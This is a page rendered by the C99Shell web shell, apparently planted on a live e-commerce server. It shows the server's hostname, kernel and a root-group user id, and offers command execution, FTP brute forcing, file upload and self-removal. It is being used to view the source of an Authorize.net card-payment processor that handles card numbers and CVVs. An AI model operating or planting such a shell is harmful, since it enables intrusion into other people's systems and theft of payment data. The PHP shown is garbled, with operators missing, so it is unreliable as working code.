!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/AuthorizeNet/Processor/   drwxr-xr-x
Free 25.02 GB of 117.98 GB (21.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthorizeNetProcessor.php (4.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package AuthorizeNetProcessor
 * @author techvillage <support@techvill.org>
 * @contributor Md. Mostafijur Rahman <[mostafijur.techvill@gmail.com]>
 * @created 09-01-23
 */

namespace Modules\AuthorizeNet\Processor;

use 
Modules\AuthorizeNet\Entities\AuthorizeNet;
use 
Modules\AuthorizeNet\Response\AuthorizeNetResponse;
use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Services\GatewayHelper;
use 
net\authorize\api\constants\ANetEnvironment;
use 
net\authorize\api\contract\v1 as AnetAPI;
use 
net\authorize\api\controller as AnetController;


class 
AuthorizeNetProcessor implements PaymentProcessorInterface
{
    private 
$authorize_net;
    private 
$cardNumber;
    private 
$merchantAuthentication;
    private 
$creditCard;
    private 
$paymentOne;
    private 
$transactionRequestType;
    private 
$formData;
    private 
$helper;
    private 
$data;
    private 
$code;

    public function 
__construct()
    {
        
$this->authorize_net AuthorizeNet::first()->data;
        
$this->helper GatewayHelper::getInstance();
        
$this->merchantAuthentication = new AnetAPI\MerchantAuthenticationType();
        
$this->creditCard = new AnetAPI\CreditCardType();
        
$this->paymentOne = new AnetAPI\PaymentType();
        
$this->transactionRequestType = new AnetAPI\TransactionRequestType();
    }

    
/**
     * Set merchant authentication info.
     *
     * @return void
     */

    
private function setMerchantAuthentication()
    {
        
$this->merchantAuthentication->setName($this->authorize_net->merchantLoginId);
        
$this->merchantAuthentication->setTransactionKey($this->authorize_net->merchantTransactionKey);
    }



    
/**
     * Handles payment for AuthorizeNet
     *
     * @param \Illuminate\Http\Request
     *
     * @return AuthorizeNetResponse
     */
    
public function pay($request)
    {
        
$this->formData $request;
        
$this->code $this->helper->getPaymentCode();
        
$this->data $this->helper->getPurchaseData($this->code);
        
$response $this->authorizeNetSetup($request);

        return new 
AuthorizeNetResponse($this->data$response);
    }


    
/**
     * Authorize net data setup
     *
     * return mixed
     */

    
private function authorizeNetSetup()
    {
        
$this->setMerchantAuthentication();

        
// Set the transaction's refId
        
$refId 'MV' time();
        
$this->cardNumber preg_replace('/\s+/'''strval($this->formData->cardNumber));

        
// Create the payment data for a credit card
        
$this->setCardData();

        
$this->setPaymentType();

       
$this->setTransactionRequestType();

        
// Assemble the complete transaction request
        
$requests = new AnetAPI\CreateTransactionRequest();
        
$requests->setMerchantAuthentication($this->merchantAuthentication);
        
$requests->setRefId($refId);
        
$requests->setTransactionRequest($this->transactionRequestType);

        
// Create the controller and get the response
        
$controller = new AnetController\CreateTransactionController($requests);
        
$response $controller->executeWithApiResponse($this->authorize_net->sandbox == ANetEnvironment::SANDBOX ANetEnvironment::PRODUCTION);

        if (
$response->getMessages()->getResultCode() == 'Error') {;
            throw new 
\Exception(__('Payment Request failed due to some issues. Please try again later.'));
        }
        return 
$response;
    }

    
/**
     * Set card data info.
     *
     * @return void
     */

    
private function setCardData()
    {
        
$this->creditCard->setCardNumber($this->cardNumber);
        
$this->creditCard->setExpirationDate($this->formData->expiration_year.'-'.$this->formData->expiration_month);
        
$this->creditCard->setCardCode($this->formData->cvv);

    }

    
/**
     * Set payment type.
     *
     * @return void
     */

    
private function setPaymentType()
    {
        
$this->paymentOne->setCreditCard($this->creditCard);
    }

    
/**
     * Set transaction request type.
     *
     * @return void
     */

    
private function setTransactionRequestType()
    {
        
$this->transactionRequestType->setTransactionType("authCaptureTransaction");
        
$this->transactionRequestType->setAmount(strval(round($this->data->total2)));
        
$this->transactionRequestType->setPayment($this->paymentOne);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--